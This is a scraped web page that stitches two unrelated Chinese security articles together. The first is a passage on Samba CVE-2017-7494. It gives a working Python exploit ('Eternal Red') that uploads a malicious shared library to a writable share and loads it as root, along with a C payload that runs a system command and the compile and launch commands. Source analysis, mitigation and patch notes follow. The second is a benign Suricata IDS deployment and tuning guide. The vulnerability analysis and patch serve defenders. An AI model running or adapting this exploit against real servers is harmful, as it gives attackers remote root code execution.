if path not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if connect_message.status == 0:
self.connected_trees[path] = connect_message.tid
connectSrvSvc(connect_message.tid)
else:
errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))
m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
messages_history.append(m)
else:
connectSrvSvc(self.connected_trees[path])
# Don't convert to Window style path
def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')
messages_history = [ ]
def sendOpen(tid):
m = SMBMessage(ComOpenAndxRequest(filename = path,
access_mode = 0x0040, # Sharing mode: Deny nothing to others
open_mode = 0x0001, # Failed if file does not exist
search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
timeout = timeout * 1000))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
messages_history.append(m)
def openCB(open_message, **kwargs):
messages_history.append(open_message)
if not open_message.status.hasError:
if max_length == 0:
closeFid(open_message.tid, open_message.payload.fid)
callback(( file_obj, open_message.payload.file_attributes, 0 ))
else:
sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))
def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
read_count = self.max_raw_size - 2
m = SMBMessage(ComReadAndxRequest(fid = fid,
offset = offset,
max_return_bytes_count = read_count,
min_return_bytes_count = min(0xFFFF, read_count)))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
read_len = read_len, remaining_len = remaining_len)
def readCB(read_message, **kwargs):
# To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
if not read_message.status.hasError:
read_len = kwargs['read_len']
remaining_len = kwargs['remaining_len']
data_len = read_message.payload.data_length
if max_length > 0:
if data_len > remaining_len:
file_obj.write(read_message.payload.data[:remaining_len])
read_len += remaining_len
remaining_len = 0
else:
file_obj.write(read_message.payload.data)
remaining_len -= data_len
read_len += data_len
else:
file_obj.write(read_message.payload.data)
read_len += data_len
if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
closeFid(read_message.tid, kwargs['fid'])
callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of 3-elements
else:
sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
else:
messages_history.append(read_message)
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))
def closeFid(tid, fid):
m = SMBMessage(ComCloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
messages_history.append(m)
if service_name not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if not connect_message.status.hasError:
self.connected_trees[service_name] = connect_message.tid
sendOpen(connect_message.tid)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history))
m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
messages_history.append(m)
else:
sendOpen(self.connected_trees[service_name])
def get_connection(user, password, server, port, force_smb1=False):
if force_smb1:
smb_structs.SUPPORT_SMB2 = False
conn = SMBConnectionEx(user, password, "", "server")
assert conn.connect(server, port)
return conn
def get_share_info(conn):
conn.hook_listShares()
return conn.listShares()
def find_writeable_share(conn, shares):
print("[+] Searching for writable share")
filename = "red"
test_file = tempfile.TemporaryFile()
for share in shares:
try:
# If it's not writeable this will throw
conn.storeFile(share.name, filename, test_file)
conn.deleteFiles(share.name, filename)
print("[+] Found writeable share: " + share.name)
return share
except:
pass
return None
def write_payload(conn, share, payload, payload_name):
with open(payload, "rb") as fin:
conn.storeFile(share.name, payload_name, fin)
return True
def convert_share_path(share):
path = share.path[2:]
path = path.replace("\\", "/")
return path
def load_payload(user, password, server, port, fullpath):
conn = get_connection(user, password, server, port, force_smb1 = True)
conn.hook_retrieveFile()
print("[+] Attempting to load payload")
temp_file = tempfile.TemporaryFile()
try:
conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
except:
pass
return
def drop_payload(user, password, server, port, payload):
payload_name = "charizard"
conn = get_connection(user, password, server, port)
shares = get_share_info(conn)
share = find_writeable_share(conn, shares)
if share is None:
print("[!] No writeable shares on " + server + " for user: " + user)
sys.exit(-1)
if not write_payload(conn, share, payload, payload_name):
print("[!] Failed to write payload: " + str(payload) + " to server")
sys.exit(-1)
conn.close()
fullpath = convert_share_path(share)
return os.path.join(fullpath, payload_name)
def main():
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
description= """Eternal Red Samba Exploit -- CVE-2017-7494
Causes vulnerable Samba server to load a shared library in root context
Credentials are not required if the server has a guest account
For remote exploit you must have write permissions to at least one share
Eternal Red will scan the Samba server for shares it can write to
It will also determine the fullpath of the remote share
For local exploit provide the full path to your shared library to load
Your shared library should look something like this
extern bool change_to_root_user(void);
int samba_init_module(void)
{
change_to_root_user();
/* Do what thou wilt */
}
""")
parser.add_argument("payload", help="path to shared library to load", type=str)
parser.add_argument("server", help="Server to target", type=str)
parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
parser.add_argument("--password", help="Password for user default is empty", type=str)
parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
args = parser.parse_args()
if not os.path.isfile(args.payload):
print("[!] Unable to open: " + args.payload)
sys.exit(-1)
port = 445
user = "nobody"
password = ""
fullpath = ""
if args.port:
port = args.port
if args.username:
user = args.username
if args.password:
password = args.password
if args.local:
fullpath = args.payload
else:
fullpath = drop_payload(user, password, args.server, port, args.payload)
load_payload(user, password, args.server, port, fullpath)
if __name__ == "__main__":
main()
**0x3: so code**
#include <stdio.h>
#include <stdlib.h>
int samba_init_module(){
printf("Hi Samba. \n from: Fuck");
system("id > /home/samba/Fuck.txt");
return 0;
}
gcc -fPIC -shared samba_hack.c -o samba_hack.so
/home/samba/samba_hack.so
python exploit.py -t 192.168.206.128 -m /home/samba/samba_hack.so
**Relevant Link:**
https://www.exploit-db.com/exploits/42060/
https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
https://www.seebug.org/vuldb/ssvid-93139#0-tsina-1-55374-397232819ff9a47a7b7e80a40613cfe1
https://www.theregister.co.uk/2017/05/25/fatthumbed_dev_slashes_samba_security/
**2\. 漏洞代码原理分析**
MSF发送的最核心payload本质上一个SMB数据包，即通过SMB协议打开一个named pipe文件
# Returns a SMB_CREATE_RES response for a given named pipe
def create_pipe(filename, disposition = 1, impersonation = 2)
self.create(filename)
end
# Creates a file or opens an existing pipe
def create(filename, disposition = 1, impersonation = 2, do_recv = true)
pkt = CONST::SMB_CREATE_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB'])
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 24
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['FileNameLen'] = filename.length
pkt['Payload'].v['CreateFlags'] = 0x16
pkt['Payload'].v['AccessMask'] = 0x02000000 # Maximum Allowed
pkt['Payload'].v['ShareAccess'] = 7
pkt['Payload'].v['CreateOptions'] = 0
pkt['Payload'].v['Impersonation'] = impersonation
pkt['Payload'].v['Disposition'] = disposition
pkt['Payload'].v['Payload'] = filename + "\x00"
ret = self.smb_send(pkt.to_s)
return ret if not do_recv
ack = self.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)
# Save off the FileID
if (ack['Payload'].v['FileID'] > 0)
self.last_file_id = ack['Payload'].v['FileID']
end
return ack
end
SMB_COM_NT_CREATE_ANDX是SMB支持的一个Command协议类型，关于SMB协议，请参阅另一篇文章
这个数据包到达Linux Samba服务器后，会触发named pipe解析流程
\samba-3.5.0\source3\rpc_server\src_pipe.c
/**
* Is a named pipe known?
* @param[in] cli_filename The pipe name requested by the client
* @result Do we want to serve this?
*/
bool is_known_pipename(const char *cli_filename, struct ndr_syntax_id *syntax)
{
const char *pipename = cli_filename;
int i;
NTSTATUS status;
// 传进来的payload是\PIPE\path\xx.so这种路径，需要把PIPE头部去掉
if (strnequal(pipename, "\\PIPE\\", 6)) {
pipename += 5;
}
if (*pipename == '\\') {
pipename += 1;
}
if (lp_disable_spoolss() && strequal(pipename, "spoolss")) {
DEBUG(10, ("refusing spoolss access\n"));
return false;
}
for (i=0; i<rpc_lookup_size; i++) {
if (strequal(pipename, rpc_lookup[i].pipe.clnt)) {
*syntax = rpc_lookup[i].rpc_interface;
return true;
}
}
// 这里把传入的pipename传入smb_probe_module()进行解析: \\192.168.206.128\\IPC$\home\samba\samba_hack.so
status = smb_probe_module("rpc", pipename);
if (!NT_STATUS_IS_OK(status)) {
DEBUG(10, ("is_known_pipename: %s unknown\n", cli_filename));
return false;
}
DEBUG(10, ("is_known_pipename: %s loaded dynamically\n", pipename));
/*
* Scan the list again for the interface id
*/
for (i=0; i<rpc_lookup_size; i++) {
if (strequal(pipename, rpc_lookup[i].pipe.clnt)) {
*syntax = rpc_lookup[i].rpc_interface;
return true;
}
}
DEBUG(10, ("is_known_pipename: pipe %s did not register itself!\n",
pipename));
return false;
}
在这里可以看到 pipename ，这个是管道名，需要利用这个管道名是恶意共享库so文件参数，比如\home\samba\samba_hack.so ,
这个参数在传递进 smb_probe_module 里，跟进下这个函数
\samba-3.5.0\source3\lib\module.c
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
char *full_path = NULL;
TALLOC_CTX *ctx = talloc_stackframe();
NTSTATUS status;
/* Check for absolute path */
/* if we make any 'samba multibyte string'
calls here, we break
for loading string modules */
DEBUG(5, ("Probing module '%s'\n", module));
// 如果传入的是一个据对路径，在继续传入do_smb_load_module
if (module[0] == '/') {
status = do_smb_load_module(module, True);
TALLOC_FREE(ctx);
return status;
}
full_path = talloc_asprintf(ctx,
"%s/%s.%s",
modules_path(subsystem),
module,
shlib_ext());
if (!full_path) {
TALLOC_FREE(ctx);
return NT_STATUS_NO_MEMORY;
}
DEBUG(5, ("Probing module '%s': Trying to load from %s\n",
module, full_path));
status = do_smb_load_module(full_path, True);
TALLOC_FREE(ctx);
return status;
}
继续跟进do_smb_load_module()
static NTSTATUS do_smb_load_module(const char *module_name, bool is_probe)
{
void *handle;
init_module_function *init;
NTSTATUS status;
const char *error;
/* Always try to use LAZY symbol resolving; if the plugin has
* backwards compatibility, there might be symbols in the
* plugin referencing to old (removed) functions
*/
handle = dlopen(module_name, RTLD_LAZY);
/* This call should reset any possible non-fatal errors that
occured since last call to dl* functions */
error = dlerror();
if(!handle) {
int level = is_probe ? 3 : 0;
DEBUG(level, ("Error loading module '%s': %s\n", module_name, error ? error : ""));
return NT_STATUS_UNSUCCESSFUL;
}
// 动态加载so，并调用了init_samba_module
init = (init_module_function *)dlsym(handle, "init_samba_module");
/* we must check dlerror() to determine if it worked, because
dlsym() can validly return NULL */
error = dlerror();
if (error) {
DEBUG(0, ("Error trying to resolve symbol 'init_samba_module' "
"in %s: %s\n", module_name, error));
dlclose(handle);
return NT_STATUS_UNSUCCESSFUL;
}
DEBUG(2, ("Module '%s' loaded\n", module_name));
status = init();
if (!NT_STATUS_IS_OK(status)) {
DEBUG(0, ("Module '%s' initialization failed: %s\n",
module_name, get_friendly_nt_error_msg(status)));
dlclose(handle);
}
return status;
}
可以看到把管道名传递进入到 dlopen 函数也就是打开恶意构造的共享库文件，接着把句柄给了 dlsym
加载SAMBA_INIT_MODULE,也就是说恶意共享库的功能要写入到 Samba
初始化函数里才能被加载，这样就触发了恶意构造的函数功能。看到这里，不免心理产生一个疑问，这个漏洞看起来是samba提供的一个" **正常功能**
"，似乎就是专门用来加载samba so模块并执行的，我么接下来分析下samba提供这个功能的本意是什么
**0x1: samba module**
samba提供了一套module system机制，它提供了samba功能扩展的灵活性
1. Transparent loading of static and shared modules (no need for a subsystem to know about modules)
2. Simple selection between shared and static modules at configure time
3. "preload modules" option for increasing performance for stable modules
4. No nasty #define stuff anymore
5. All backends are available as plugin now (including pdb_ldap and pdb_tdb)
**1\. Loading modules**
Some subsystems in samba use different backends. These backends can be either
statically linked in to samba or available as a plugin. A subsystem should
have a function that allows a module to register itself. For example, the
passdb subsystem has:
NTSTATUS smb_register_passdb(int version, const char *name, pdb_init_function
init);
This function will be called by the initialisation function of the module to
register itself.
**2\. Static modules**
The modules system compiles a list of initialisation functions for the static
modules of each subsystem. This is a define. For example, it is here currently
(from include/config.h):
/* Static init functions */
#define static_init_pdb { pdb_mysql_init(); pdb_ldap_init(); pdb_smbpasswd_init(); pdb_tdbsam_init(); pdb_guest_init();}
These functions should be called before the subsystem is used. That should be done when the subsystem is initialised or first used.
**3\. Shared modules**
If a subsystem needs a certain backend, it should check if it has already been
registered. If the backend hasn't been registered already, the subsystem
should call smb_probe_module(char _subsystem, char_ backend). This function
tries to load the correct module from a certain path
($LIBDIR/subsystem/backend.so). If the first character in 'backend' is a
slash, smb_probe_module() tries to load the module from the absolute path
specified in 'backend'.
After smb_probe_module() has been executed, the subsystem should check again
if the module has been registered.
**0x2: RPC Pluggable Modules**
回到这次漏洞的主角，RPC subsystem，This architecture was added to increase the
maintainability of Samba allowing RPC Pipes to be worked on separately from
the main CVS branch. The RPM architecture will also allow third-party vendors
to add functionality to Samba through plug-ins.
Samba在3.0之后增加了RPC方式为Samba server增加功能扩展插件(so)的能力
When an RPC call is sent to smbd, smbd tries to load a shared library by the name librpc_<pipename>.so to handle the call if it doesn't know how to handle the call internally. For instance, LSA calls are handled by librpc_lsass.so.. These shared libraries should be located in the <sambaroot>/lib/rpc. smbd then attempts to call the init_module function within the shared library
**Relevant Link:**
http://paper.seebug.org/307/#0-tsina-1-33359-397232819ff9a47a7b7e80a40613cfe1
http://blogs.360.cn/blog/samba%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9Ecve-2017-7494%E5%88%86%E6%9E%90/
http://www.freebuf.com/vuls/135624.html
https://www.samba.org/samba/docs/man/Samba-Developers-Guide/modules.html
https://www.samba.org/samba/docs/man/Samba-Developers-Guide/rpc-plugin.html
https://www.samba.org/samba/docs/man/Samba-Developers-Guide/
**3\. 漏洞利用前提**
该漏洞的稳定性和适用性不高，原因是有很多前提限制
1. 需要能登录对方SMB服务器
1) 如果对方是share模式，则直接匿名登录
2) 如果对方是user模式，则需要知道帐号密码
2. 需要该登录的帐号具有Samba共享目录的写入权限，应为用于执行执行的so文件需要上传到SMB共享目录中
3. 需要暴力猜解写入目录的绝对路径，该漏洞利用的是SMB的SMB_COM_NT_CREATE_ANDX指令，该指令要求我们传入so在目标机器上的据对物理路径
**Relevant Link:**
http://www.sohu.com/a/143887827_332887
**4\. 临时缓解 && 修复手段**
**0x1: 通过修改配置文件临时关闭相关功能**
smb.conf
[global]
nt pipesupport = no
重启samba服务
service smb restart
#Or
/etc/init.d/smb restart
**0x2: samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch**
diff --git a/source3/rpc_server/srv_pipe.c b/source3/rpc_server/srv_pipe.c
index 0633b5f..c3f0cd8 100644
--- a/source3/rpc_server/srv_pipe.c
+++ b/source3/rpc_server/srv_pipe.c
@@ -475,6 +475,11 @@ bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
NTSTATUS status;
+ if (strchr(pipename, '/')) {
+ DEBUG(1, ("Refusing open on pipe %s\n", pipename));
+ return false;
+ }
+
if (lp_disable_spoolss() && strequal(pipename, "spoolss")) {
DEBUG(10, ("refusing spoolss access\n"));
return false;
samba禁止传入据对路径的so路径，因为正常来说，samba只接收<sambaroot>/lib/rpc/xxx.so这种路径
Relevant Link:
http://www.sohu.com/a/143887827_332887
https://download.samba.org/pub/samba/patches/security/samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch
https://www.samba.org/samba/history/security.html
[i][i][i][/i][/i][/i][i][i][i]
[/i][/i][/i][/i][/i][/i][/i][/i][/i][/i][/i] | 社区文章 |
**作者：al0ne**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
此文章记录了我在18年部署Suricata时的一些经验与心得。
## 硬件配置
CPU：双路e5
内存：128G
硬盘：越多越好
网卡：管理口：千兆网卡，镜像口：intel 万兆网卡
系统：Debian GNU/Linux 8.11 (jessie)
内核版本：3.16.0-6-amd64
IDS：suricata 4.0.5 告警分析：splunk
规则自动更新：suricata-update
## 挂载硬盘
传统分区不能挂载超过2t的硬盘，这里使用的raid 容量12t所以必须将其转换为gpt分区才行不然会有以下错误
`The size of this disk is DOS partition table format can not be used on drives
for volumes larger than 2199023255040 bytes for 512-byte sectors. Use GUID
partition table format (GPT).`
硬盘设置
parted /dev/sdb 选择第二块硬盘
(parted) mklabel 创建分区表
New disk label type? [msdos]? Gpt
(parted) mkpart
Partition name? []? disk1 #为新建的分区命名
File system type? [ext2]? ext4 #设置文件系统格式为ext4
Start? 0 #分区开始硬盘大小
End? 2345.3GB #分区结束硬盘大小，支持mb、gb、tb
(parted) print #查看分区信息
mkfs -t ext4 -c /dev/sdb1#格式化
mkdir /data#创建数据目录
mount /dev/sdb1 /data#挂载硬盘
sudo fdisk –l
vim /etc/fstab #开机自动挂载第二块硬盘
UUID=xxxx-xxxx-xxxx-xxxx-xxxx /data ext4 defaults 0 2
## 网卡驱动
在选择万兆网卡时最好使用intel的网卡，pfring ZC自带了intel网卡全套驱动，兼容性与性能最好
驱动下载地址 <https://sourceforge.net/projects/e1000/files/>
1 Gbit
e1000e (RX and TX)
igb (RX and TX)
10 Gbit
ixgbe (RX and TX)
10/40 Gbit
i40e (RX and TX)
10/40/100 Gbit
fm10k (RX and TX)
查看网卡硬件
`lspci -vvv | grep Ethernet`
这里使用的是万兆x520网卡下载最新的ixgbe驱动
tar xzvf ixgbe-5.0.4.tar.gz
cd ixgbe-5.0.4/src
make
sudo make install
sudo insmod ./ixgbe 加载驱动
sudo modprobe ixgbe RSS = 4,4 加载驱动时设置参数
sudo modinfo ixgbe 查看驱动信息
sudo rmmod ixgbe 删除驱动
加载ixgbe网卡时优化参数
modprobe ixgbe MQ=0,0 RSS=1,1 VMDQ=0,0 InterruptThrottleRate=12500,12500 FCoE=0,0 LRO=0,0
## 镜像接口配置
桌面版本的Debian会有2个网络管理程序，networking与network-manager优先级不同，服务器需要禁用network-manager否则interfaces不起作用
vim /etc/network/interfaces
auto eth5
分配一个无ip的接口
iface eth5 inet manual
up ifconfig $IFACE -arp up
开启混杂模式
up ip link set $IFACE promisc on
down ip link set $IFACE promisc off
down ifconfig $IFACE down
禁用掉不必要的功能
#post-up for i in rx tx sg tso ufo gso gro lro; do ethtool -K $IFACE $i off; done
禁用掉ipv6
post-up echo 1 > /proc/sys/net/ipv6/conf/$IFACE/disable_ipv6
/etc/init.d/networking restart
## Suricata安装编译
安装依赖库
apt-get -y install libpcre3 libpcre3-dbg libpcre3-dev \
build-essential autoconf automake libtool libpcap-dev libnet1-dev \
libyaml-0-2 libyaml-dev zlib1g zlib1g-dev libmagic-dev libcap-ng-dev \
libjansson-dev pkg-config
apt-get install libgeoip1 libgeoip-dev
下载安装包
wget https://www.openinfosecfoundation.org/download/suricata-4.0.5.tar.gz
tar -zxvf suricata-4.0.5.tar.gz
Hyperscan安装
apt-get install cmake ragel libboost-dev python-dev libbz2-dev
wget http://downloads.sourceforge.net/project/boost/boost/1.60.0/boost_1_60_0.tar.gz
tar xvzf boost_1_60_0.tar.gz
ln -s /opt/hyperscan/build/boost_1_60_0/boost /opt/hyperscan/include/boost
cd /opt
git clone https://github.com/01org/hyperscan
cd hyperscan
mkdir build
cd build
cmake -DBUILD_STATIC_AND_SHARED=1 ../
make && make install
suricata --build-info|grep Hyperscan
安装pfring
apt-get install build-essential bison flex linux-headers-$(uname -r)
https://sourceforge.net/projects/ntop/files/PF_RING/PF_RING-6.6.0.tar.gz/download
cd /opt/PFring
make
cd kernel
make install
如果提示make[1]: *** /lib/modules/3.16.0-6-amd64/build: No such file or directory. Stop.
则需要 安装内核头 apt install linux-headers-3.16.0-6-amd64
cd ../userland/lib
./configure –prefix=/usr/local/pfring && make install
cd /opt/PF_RING-6.6.0/userland/libpcap-1.7.4
./configure && make install
sudo ldconfig
sudo modprobe pf_ring
从github中安装
git clone https://github.com/ntop/PF_RING.git
cd PF_RING / kernel
make
sudo insmod ./pf_ring.ko
cd ../userland
make
modprobe pf_ring transparent_mode=1 enable_tx_capture=0 min_num_slots=65534 quick_mode=1
modinfo pf_ring
安装Lua-jit
http://luajit.org/download/LuaJIT-2.0.4.tar.gz
tar -zxvf LuaJIT-2.0.4.tar.gz
cd LuaJIT-2.0.4
make && make install
开始编译
./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var --enable-pfring --with-libpfring-includes=/usr/local/pfring/include --with-libpfring-libraries=/usr/local/pfring/lib --enable-geoip --enable-luajit --with-libluajit-includes=/usr/local/include/luajit-2.0/ --with-libluajit-libraries=/usr/local/lib/ --with-libhs-includes=/usr/local/include/hs/ --with-libhs-libraries=/usr/local/lib/ --enable-profiling
make clean && make && make install && ldconfig
make install-conf
## 日志轮训
suricata通过logrotate配置日志轮训，bro自带broctl已经包括日志轮训
vim /etc/logrotate.d/suricata
/data/suricata/eve.json {
daily
rotate 30
olddir /data/suricata/old/
compress
missingok
notifempty
dateext
postrotate
/bin/kill -HUP $(cat /var/run/suricata.pid)
endscript
}
强制执行，测试是否配置成功
`sudo logrotate -f /etc/logrotate.d/suricata`
每天自动执行
cat /etc/cron.daily/logrotate
#!/bin/sh
test -x /usr/sbin/logrotate || exit 0
/usr/sbin/logrotate /etc/logrotate.conf
## 配置splunk
从官网下载splunk 需要注册用户，splunk免费版每天只能导入500MB数据
dpkg -i splunk.deb
安装完成后会在/opt/splunk目录中，进入/opt/splunk/bin ./splunk start --accept-license 启动splunk
安装suricata 插件到splunk
下载[https://github.com/jorritfolmer/TA-suricata](https://github.com/jorritfolmer/TA-suricata "https://github.com/jorritfolmer/TA-suricata")
应用--管理应用--从文件中安装，选择下载的zip文件导入
设置--数据输入--文件 & 目录
添加监控/data/suricata/eve.json 文件，来源类型：suricata_eve
索引新建alert app选择TA-suricata-master
## Ethtool工具
ethtool工具主要用来查看与设置网卡信息，一般小写字母是查看网卡信息，大写字母是修改网卡信息。例如-g 查看 网卡ring大小，-G 修改
ethtool –S ethx 查看网卡状态主要是接收字节、丢包或者接收错误
ethtool –g ethx 查看网卡ring buffer
ethtool –l eth4 查看网卡RSS队列
ethtool –L eth4 combined 1 将网卡队列设置为1
ethtool –k eth4 查看协议卸载功能
## 网卡丢包优化
丢包主要是网卡丢包或者内核丢包，网卡丢包在ifconfig里面就可以看到，具体原因还得通过ethtool来定位
#### 查看网卡具体丢包原因
sudo ethtool -S eth4 |ag 'error|drop'
rx_errors: 584
tx_errors: 0
rx_dropped: 0
tx_dropped: 0
rx_over_errors: 0
rx_crc_errors: 0
rx_frame_errors: 0
rx_fifo_errors: 0
# 之前遇到rx_missed_errors疯狂上涨，这种情况一般是网卡缓冲区满了，多余的数据会被丢弃。与网卡ring buffer和rss队列有关
rx_missed_errors: 0
tx_aborted_errors: 0
tx_carrier_errors: 0
tx_fifo_errors: 0
#### 网卡优化
sudo ethtool -K eth4 rx off
sudo ethtool -K eth4 tx off
sudo ethtool -K eth4 sg off
sudo ethtool -K eth4 tso off
sudo ethtool -K eth4 gso off
sudo ethtool -K eth4 gro off
sudo ethtool -K eth4 lro off
sudo ethtool -K eth4 rxvlan off
sudo ethtool -K eth4 txvlan off
sudo ethtool -K eth4 ntuple off
sudo ethtool -K eth4 rxhash off
sudo ethtool -A eth4 rx off tx off
网卡RSS队列，对于ids设备来说 影响性能，默认cpu有多少核心就会有多少队列数，如果设置为1导致rx_missed_errors可以改成2
`sudo ethtool -L eth4 combined 1`
巨型帧 将最大传输单元增加到9000 默认1500 ,数据包越小产生的CPU中断越多
`sudo ifconfig eth4 mtu 9000`
网卡ring buffer 的值并非越大越好 这里将原来4096降到512
`sudo ethtool -g rx 512`
我们需要对程序设置cpu绑定，例如40个核心 0-38，39分给suricata 最后一个负责处理网卡中断
./set_irq_affinity.sh 39 eth3
查看网卡中断，现在可以看到设置后由原来的CPU0处理变成了最后一个CPU39在处理中断
cat /proc/interrupts|ag eth4
## pf_ring && ZC 内核旁路
pfring是linux下高速数据包捕获库用来代替libpcap
pf_ring主要分为开源免费版与pfring ZC 商业版本（收费1000+rmb左右，按照网卡mac地址绑定），老版本还有pfring DNA
理论上性能pf_ring ZC>af_packet~pf_ring>libpcap
一般来讲，丢包的主要原因主要在于 1.频繁产生中断（网卡接收到数据通过中断通知cpu处理） 2、数据需要多次拷贝，从网卡--》内核空间--》用户空间
Linux NAPI的方式采用了中断+轮训，网卡触发的中断会变少。 PF_RING
ZC采用了内核旁路的方式，绕过内核协议栈直接进入用户态，极大提升了处理性能。
官网地址：[https://www.ntop.org/products/packet-capture/pf_ring/
](https://www.ntop.org/products/packet-capture/pf_ring/
"https://www.ntop.org/products/packet-capture/pf_ring/ ")
github：<https://github.com/ntop/PF_RING>
安装
cd PF_RING/drivers/ZC/intel/ixgbe/ixgbe-*-zc/src/
make && sudo ./load_driver.sh
加载PF-ring时优化参数
modprobe pf_ring transparent_mode=0 enable_tx_capture=0 min_num_slots=65534
千万不能设置quick_mode=1，不然suricata会报错，开启了这个模式只能允许一个抓包进程
测试ZC模式是否配置完成，如果驱动没有加载会显示没有找到设备
sudo pfcount -i zc:eth0
modinfo pf_ring
查看pf_ring 设备信息，如果使用了pfring zc Polling Mode字段会显示NAPI/ZC
cat /proc/net/pf_ring/dev/eth0
Name: eth0
Index: 23
Address: xx:xx:xx:xx:xx:xx
Polling Mode: NAPI
Type: Ethernet
Family: Standard NIC
# Bound Sockets: 51
TX Queues: 2
RX Queues: 2
每开启一个抓包进程，就会在/proc/net/pf_ring目录下生成一个xxxxx-ethX.xxx文件，这里面主要看Tot Packets
这个是总共接收的包，Tot Pkt Lost是指丢弃的包
cat /proc/net/pf_ring/xxxxx-ethX.xxx
Appl. Name : bro
Tot Packets : 19085985414
Tot Pkt Lost : 0
## 内核参数优化
sudo sysctl net.core.rmem_default=73400320
sudo sysctl net.core.wmem_max=134217728
sudo sysctl net.core.rmem_max=134217728
sudo sysctl net.core.netdev_max_backlog=300000
sudo sysctl net.ipv4.tcp_no_metrics_save=1
sudo sysctl net.ipv4.tcp_congestion_control=htcp
sudo sysctl net.ipv4.tcp_mtu_probing=1
sudo sysctl net.ipv4.tcp_rmem="100000000 100000000 100000000"
sudo sysctl net.ipv4.tcp_wmem="100000000 100000000 100000000"
sudo sysctl net.ipv4.tcp_mem="100000000 100000000 100000000"
sudo sysctl net.core.netdev_budget=3000
sudo sysctl -p
## suricata 10GBit环境 配置优化
# 设置内部网络地址范围
vars:
address-groups:
HOME_NET: "[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]"
EXTERNAL_NET: "any"
# 协议这块，将不需要的全部关闭，如果这里没有启用，规则里面又有相关协议规则会报错。
app-layer:
protocols:
dcerpc:
enabled: no
ssh:
enabled: no
smtp:
enabled: no
imap:
enabled: no
msn:
enabled: no
smb:
enabled: detection-only
detection-ports:
dp: 139, 445
nfs:
enabled: no
tftp:
enabled: no
modbus:
enabled: no
dnp3:
enabled: no
enip:
enabled: no
ntp:
enabled: no
# suricata 能够同时处理多少个数据包
max-pending-packets: 8192
runmode: workers
defrag:
memcap: 20gb
imeout: 3
flow:
memcap: 8gb
hash-size: 50000
prealloc: 50000
emergency-recovery: 30
# 流超时信息设置，将原来的数值调小
flow-timeouts:
default:
new: 5
established: 60
closed: 3
bypassed: 30
emergency-new: 10
emergency-established: 30
emergency-closed: 0
emergency-bypassed: 50
tcp:
new: 5
established: 60
closed: 1
bypassed: 30
emergency-new: 3
emergency-established: 30
emergency-closed: 0
emergency-bypassed: 15
udp:
new: 5
established: 60
bypassed: 30
emergency-new: 3
emergency-established: 30
emergency-bypassed: 15
icmp:
new: 5
established: 30
bypassed: 30
emergency-new: 10
emergency-established: 15
emergency-bypassed: 10
#流设置，小了影响性能
stream:
memcap: 10gb
checksum-validation: no
inline: no
bypass: yes
prealloc-sessions: 100000
midstream: true
drop-invalid: yes
reassembly:
memcap: 20gb
depth: 128kb
toserver-chunk-size: 10240
toclient-chunk-size: 10240
randomize-chunk-size: no
raw: yes
segment-prealloc: 20000
check-overlap-different-data: true
# 数值越大性能越好，占用资源也越高，对性能这块影响较高。
detect:
profile: high
custom-values:
toclient-groups: 100000
toserver-groups: 100000
sgh-mpm-context: full
